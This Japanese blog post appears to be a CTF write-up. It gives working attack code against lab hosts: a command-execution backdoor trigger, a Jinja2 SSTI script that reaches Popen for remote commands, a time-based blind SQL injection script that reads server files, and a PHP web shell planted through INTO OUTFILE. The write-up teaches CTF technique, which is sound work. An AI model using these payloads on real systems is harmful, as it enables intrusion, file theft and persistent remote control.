| (____/\  \   /  | (____/\     (   (__/\|  (__) |__) (_/\____) )    __) (_/\____) )__) (_|  (__) | /  /
(_______/   \_/   (_______/_____\_______/(_______)\____/\______/_____\____/\______/ \____/(_______) \_/
                          (_____)                              (_____)
                                     python By jas502n



vuln_url= http://10.0.102.143:10000/password_change.cgi

Command Result = flag{Expl01t_CVE-2019-15107}

[Medium] Board (Misc) 8 solves

/threads/repliesにGETやPOSTをすることで、スレッドを作成し、そこにリプライすることができる、SNSを模したWebアプリケーションです。

バックドアは明確で、cache.goにあります。

func validateData(data interface{}) interface{} {
    replies, ok := data.([]models.Reply)
    if ok {
        reply := replies[0]
        createdTime := reply.CreatedAt
        currentTime := time.Now()
        diff := currentTime.Sub(createdTime)
        if diff.Seconds() < 2 {
            value := reply.Content
            out, err := exec.Command("sh", "-c", value).CombinedOutput()
            res := fmt.Sprintf("%s, %v", out, err)
            replies[0].Content = res
        }
    }
    return replies
}

replyが作成された後、2秒以内にそのリプライのcacheにアクセスすれば、contentの内容をsh -cに渡して実行してくれるらしいです。replyがcacheにセットされる条件はGetReplies関数にあります。

func GetReplies(w http.ResponseWriter, r *http.Request) {
    replyCache.ClearOldItems(3)
    threadID := r.URL.Query().Get("thread_id")
    cacheKey := "replies_" + threadID
    if cachedItem, found := replyCache.Get(cacheKey); found {
        w.Header().Set("Content-Type", "application/json")
        response := cachedItem.(*cache.CacheItem).Data
        json.NewEncoder(w).Encode(response)
        return
    }

    rows, err := database.DB.Query("SELECT id, thread_id, content, created_at FROM replies WHERE thread_id = ?", threadID)
    if err != nil {
        http.Error(w, err.Error(), http.StatusInternalServerError)
        return
    }
    defer rows.Close()

    var replies []models.Reply
    for rows.Next() {
        var reply models.Reply
        var createdAt string
        if err := rows.Scan(&reply.ID, &reply.ThreadID, &reply.Content, &createdAt); err != nil {
            http.Error(w, err.Error(), http.StatusInternalServerError)
            return
        }
        reply.CreatedAt, err = time.Parse(time.RFC3339, createdAt)
        if err != nil {
            log.Println(createdAt)
            log.Println("time parse error!!!")
        }
        replies = append(replies, reply)
    }

    w.Header().Set("Content-Type", "application/json")
    json.NewEncoder(w).Encode(replies)

  if len(replies) == 0 {
    return 
  }

    replyAccessCounter.Increment(cacheKey)

    if replyAccessCounter.Get(cacheKey) >= 5 {
        replyCache.Set(cacheKey, replies)
        replyAccessCounter.Reset(cacheKey)
    }

}

replyに5回以上アクセスされると、cacheにセットされ、以降はアクセスされるとcacheの内容を返します。 つまり、cat flag.txtをコンテンツとするreplyを作成し、その後6回瞬時にアクセスすれば、バックドア経由でflagを読み取れます。

#!/bin/bash

echo "POSTing threads..."
curl -X POST -H "Content-Type: application/json" -d '{"title":"New Thread Title", "content":"This is the content of the thread."}' http://10.0.102.241/threads
echo "POSTing reply..."
curl -X POST -H "Content-Type: application/json" -d '{"thread_id": 1, "content": "cat flag.txt"}' http://10.0.102.241/replies

for i in {1..6}
do
  echo "GETting replies (attempt $i)..."
  curl -X GET "http://10.0.102.241/replies?thread_id=1"
  echo -e "\n"
done

[Medium] legend bird (Misc) 11 solves

Unityで作られたgameです。最初は真面目にreversingしようとしていたのですが、cheat engineなるものを知り使ってみることに。

RPGのようなゲームでした。

get apple

リンゴを99999個集めればいいらしい。

apple 99999

ということで、特徴的な値から特徴的な値(例えば、始まり19個から終わり23個)にリンゴの個数を変化させた時に同様の変化をするメモリ領域を特定します。

apple 19

Exact Valueで絞ると、4つのアドレスしか候補がありません。

apple 23

これらのアドレスの値を23個から -> 99998個に変化させた後、1個のリンゴを取得すると鳥がマップに出現します。

legend bird

しかし、堀に囲まれているので、鳥に触れることができません。ユーザーのY座標を変えることで、浮島に移動することにします。

Y座標に関連するパラメータは、どのような範囲を取っているかわからないので、変化したか変化していないかで絞っていきます。特に、X軸で動いたときに変化せず、Y軸で動いたときに変化する値を何度か抽出していくと、それっぽいパラメータが複数出てきます。それらのパラメータをいい感じに浮島のところに位置しそうな値に変えると、ワープして鳥に触れるようになり、flagをゲットできます。

flag

cheat engine、初めて使いましたが面白いですね~。ちょっとゲームチートに興味がわきました。

[Hard] Labs 1st mission (Pentest) 7 solves

Webサイトがあるだけ。/contactにあるフォームくらいしか怪しいところがないので、適当に入力してみます。

すると、nameに{{4*4}}を入力すると16となることを発見しました。SSTI脆弱性があるようです。

SSTI
SSTI result

後は、ninjaのSSTIのpayloadを色々試してみるだけ。

{{request.__class__.__mro__[1].__subclasses__()}}でさまざまなclassオブジェクト?が取れているみたいなので、Popenを探して、RCEに繋げます。

#!/bin/bash

url="http://10.0.102.53/contact"
email="kk@kk"
inquiry="k"
start=0
end=500

for i in $(seq $start $end); do
  response=$(curl -s -X POST "$url" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -d "name={{request.__class__.__mro__[1].__subclasses__()[$i]}}&email=$email&inquiry=$inquiry")

  if [[ $response == *"Popen"* ]]; then
    echo "Popen class found at index: $i"
    echo "Response: $response"
  fi
done
$ ./chk.sh
Popen class found at index: 231

Popenのクラスが231のindexだとわかるので、後はコマンドを送り込めば良いです。

curl -X POST http://10.0.102.53/contact -H "Content-Type: application/x-www-form-urlencoded" \
-d "name={{request.__class__.__mro__[1].__subclasses__()[231]('$1',shell=True,stdout=-1).communicate()[0].strip()}}&email=kk@kk&inquiry=k"
$ ./rce.sh "cat flag1.txt" | grep flag
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2467  100  2323  100   144  41366   2564 --:--:-- --:--:-- --:--:-- 44854
                <h4 class="alert-heading"> b'flag{RC3_W1TH_J1NJ42_SSTI!}' 様、お問い合わせありがとうございます。</h4>

[Easy] Pack (Malware Analysis) 10 solves

exeのファイルでFlagが正しいかを判定するプログラム。

upxで圧縮されているので、unpackし、出てきたexeをそのまま解析します。

main関数は以下のような感じ。

undefined4 FUN_00401170(void)

{
  undefined4 uVar1;
  DWORD _Size;
  void *_Dst;
  byte *_Dst_00;
  HGLOBAL hResData;
  LPVOID _Src;
  byte in_stack_fffffedc;
  HRSRC local_c;
  
  _memset(&stack0xfffffedc,0,0x104);
  FUN_004010c0(s_Flag_is_:_004062d4,in_stack_fffffedc);
  FUN_00401130(&DAT_004062d0,(char)&stack0xfffffedc);
  FUN_00401490();
  FUN_004014c0();
  if (DAT_004066fc == 1) {
    DAT_00406700 = 1;
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  if (DAT_00406700 == 0) {
    local_c = FindResourceA((HMODULE)0x0,(LPCSTR)0x65,&DAT_004062cc);
  }
  else if (DAT_00406700 == 1) {
    local_c = FindResourceA((HMODULE)0x0,(LPCSTR)0x66,s_MANIFEST_004062c0);
  }
  if (local_c == (HRSRC)0x0) {
    FUN_004010c0(s_FindResource_error_004062ac,in_stack_fffffedc);
    uVar1 = 0xffffffff;
  }
  else {
    _Size = SizeofResource((HMODULE)0x0,local_c);
    _Dst = malloc(_Size);
    _memset(_Dst,0,_Size);
    _Dst_00 = (byte *)malloc(_Size << 1);
    _memset(_Dst_00,0,_Size << 1);
    hResData = LoadResource((HMODULE)0x0,local_c);
    if (hResData == (HGLOBAL)0x0) {
      uVar1 = 1;
    }
    else {
      _Src = LockResource(hResData);
      FID_conflict:_memcpy(_Dst,_Src,_Size);
      FUN_004016d0((int)_Dst,(undefined4 *)s_binary_unpacked!_004062e0,0x20,_Dst_00);
      FUN_00401300(_Dst_00,&stack0xfffffedc);
      uVar1 = 0;
    }
  }
  return uVar1;
}

FUN_00401490でProcessEnvironmentBlockの値を確認し、debuggerでアタッチしているか確認しているぽい。

bool FUN_00401490(void)

{
  bool bVar1;
  
  bVar1 = *(char *)((int)ProcessEnvironmentBlock + 2) == '\x01';
  if (bVar1) {
    DAT_00406700 = 1;
  }
  return bVar1;
}

FUN_004014c0()ではcheat engine系のプロセスが動いていないかを検知しています。 x64dbgでFUN_00401490のチェックの部分でbreakし、registerの値を書き換えてDAT_00406700に1が書き込まれないようにすると、メモリ上にFlagが出てきます。

flag

かなり長いこと時間をかけていた問題です。

$ nmap -sV 10.0.102.189
Starting Nmap 7.94 ( https://nmap.org ) at 2024-10-06 20:05 JST
Nmap scan report for 10.0.102.189
Host is up (0.052s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

実は、最初に手をつけたPentestの問題でした。WebサイトがApacheで公開されています。まず、詰まったポイントなんですが、Apache httpd 2.4.58の脆弱性を調べたら、結構使えそうな脆弱性が出てきたのです。

https://httpd.apache.org/security/vulnerabilities_24.html

特に、Orange Tsaiさんが見つけた(一時期TLで話題になっていた気がする)CVE-2024-38475, CVE-2024-38476あたりを使えばsource code disclosureやcode executionができそうで、これだ!と思ってしまったんですよね。

ネット上に使えるPoCが落ちていなかったので、以下のOrange Tsaiさんのブログを読んで理解しようと頑張っていました。RewriteRuleと%3fなどが何か悪さをするみたいだけど、何もわからない。

https://devco.re/blog/2024/08/09/confusion-attacks-exploiting-hidden-semantic-ambiguity-in-apache-http-server-en/

結構solveも出始めていて、1からPoC作成しているガチプロがこんなにいるのかとびっくりしていました。が、諦めて他の問題(特に他のPentestの問題)に取り組んでいるうちに、今まで完全に無視していたWebサイトそのものになんか脆弱性があるんじゃないのと、冷静になり確かめてみることに。

特に何もないじゃんと思って諦めること数回経て、何か僕の知らないPentest特有の発想があるのではとChatGPTに聞いてみました。すると、Dirb、Gobuster、Dirsearch、Niktoなどを使ってみたらという助言を得たので、Niktoを使ってみることに。

結果、/admin/login.phpというエンドポイントを見つけました。

login form

ログインフォームに適当に入力していると、'をユーザー名に含めるとErrorが起きることを発見。SQL Injectionが起きていそうです。適当に入れてみると〇〇の脆弱性を発見、みたいなのってソースコードが配布されていないWeb問とかPentest問ではよくあることなんですかね?Webサイトに大量のリクエスト送り付けても許される問題だと、見つけられないやつが悪いみたいな感じなのかもしれない。リアルワールドでもそういう事例はあって、適当に入力してたら見つけた、みたいな発見プロセスは問題設定として自然なのかもしれません。

#コメントアウトが機能したので、DBはMYSQLぽいということで、Blind SQLを行いました。

import requests
import string
import time

url = "http://10.0.102.189/admin/login.php"

password_length = 240

password = ""

characters = string.ascii_letters + string.digits + string.punctuation

for i in range(1, password_length + 1):
    for char in characters:
        payload = f"' OR IF(SUBSTRING(LOAD_FILE('/var/www/flag1.txt'), {i}, 1) = '{char}', SLEEP(1), 0) #"

        data = {
            'username': 'll' + payload,
            'password': 'kk',
            'submit': '%E3%83%AD%E3%82%B0%E3%82%A4%E3%83%B3'
        }
        start_time = time.time()
        response = requests.post(url, data=data)
        end_time = time.time()
        response_time = end_time - start_time

        if response_time >= 1:
            password += char
            print(f"Found character {i}: {char}")
            break

    print(f"Current password: {password}")

print(f"Password found: {password}")
Found character 1: f
Current password: f
Found character 2: l
Current password: fl
Found character 3: a
Current password: fla
Found character 4: g
Current password: flag
Found character 5: {
Current password: flag{
Found character 6: y
Current password: flag{y
Found character 7: o
Current password: flag{yo
Found character 8: u
Current password: flag{you
Found character 9: _
Current password: flag{you_
Found character 10: e
Current password: flag{you_e
Found character 11: x
Current password: flag{you_ex
Found character 12: p
Current password: flag{you_exp
Found character 13: l
Current password: flag{you_expl
Found character 14: o
Current password: flag{you_explo
Found character 15: i
Current password: flag{you_exploi
Found character 16: t
Current password: flag{you_exploit
Found character 17: _
Current password: flag{you_exploit_
Found character 18: S
Current password: flag{you_exploit_S
Found character 19: Q
Current password: flag{you_exploit_SQ
Found character 20: L
Current password: flag{you_exploit_SQL
Found character 21: i
Current password: flag{you_exploit_SQLi
Found character 22: _
Current password: flag{you_exploit_SQLi_
Found character 23: a
Current password: flag{you_exploit_SQLi_a
Found character 24: n
Current password: flag{you_exploit_SQLi_an
Found character 25: d
Current password: flag{you_exploit_SQLi_and
Found character 26: _
Current password: flag{you_exploit_SQLi_and_
Found character 27: U
Current password: flag{you_exploit_SQLi_and_U
Found character 28: p
Current password: flag{you_exploit_SQLi_and_Up
Found character 29: l
Current password: flag{you_exploit_SQLi_and_Upl
Found character 30: o
Current password: flag{you_exploit_SQLi_and_Uplo
Found character 31: a
Current password: flag{you_exploit_SQLi_and_Uploa
Found character 32: d
Current password: flag{you_exploit_SQLi_and_Upload
Found character 33: e
Current password: flag{you_exploit_SQLi_and_Uploade
Found character 34: r
Current password: flag{you_exploit_SQLi_and_Uploader
Found character 35: }
Current password: flag{you_exploit_SQLi_and_Uploader}

しかし、シリーズの次の問題ではコマンド実行できないと厳しそうだったので、phpファイルをuploadしてsystemのコマンドが実行できるようにしました。uploadにはINTO OUTFILEを使いました。

payloadとして以下のようなものを送っていた気がするのですが、今writeupを書く際に確かめてみたらなんかうまくいきませんでした。

' UNION SELECT "<?php system(\$_GET[\'cmd\']); ?>" INTO OUTFILE '/var/www/html/shell.php'#

CTF中も同様にうまくいかずにガチャガチャやっていた気がしますが、どうにかして<?php system($_GET['cmd']); ?>というphpのファイルをアップロードして、そこに/admin/shell.php?cmd=lsみたいな形でGETしてコマンドを実行していました。

4日目

残りの時間は、Decryptというファイル復号のスクリプトを書く問題と、aaaaaagentというc2 serverと通信しているようなReversingの問題に取り組んでいました。

DecryptはオレオレencryptionをAESで挟んで暗号化するような問題で、2回目の復号時にpayloadのサイズがおかしくて詰まっていました。多分encrypt時に適当に0を気分で?paddingする部分が悪さをしているんですが、復号時にどうやって解決するのかが分からず。

aaaaaagentは、Decryptを諦めてからやっていたんですが、地道Reversingで進めてはいたものの時間が足りず。 c2serverに対して、31063, 30026, 30001のポートにhttpなどでアクセスしてレスポンスを元に処理を変えており、それぞれのポートにアクセスしてきた時に正しく通信を返すようなserver.pyを書いていたんですが、そんなことをしていたら当然間に合いませんね。静的解析でなんとかするべきだったかもしれません。

まとめ

3位を取れてよかったです。WebもEasy問題くらいだと試行錯誤すればなんとかなるもんですね。Pentestは勘所がわからず、user shellを取れたところで全部終わってしまっています。余裕があれば、HTBかなんかで練習するかもしれません(が、高難度Pwnにどんどん手を出す方を優先すべきな気がする)

soloでさまざまなジャンルに挑戦した経験はほとんどないので、自分の得意不得意がはっきりと認識できてよかったです。

機会があれば次回も参加したいです。作問と運営ありがとうございました。




以上の内容はhttps://iwashi-ra.hatenablog.com/entry/2024/10/06/222622より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14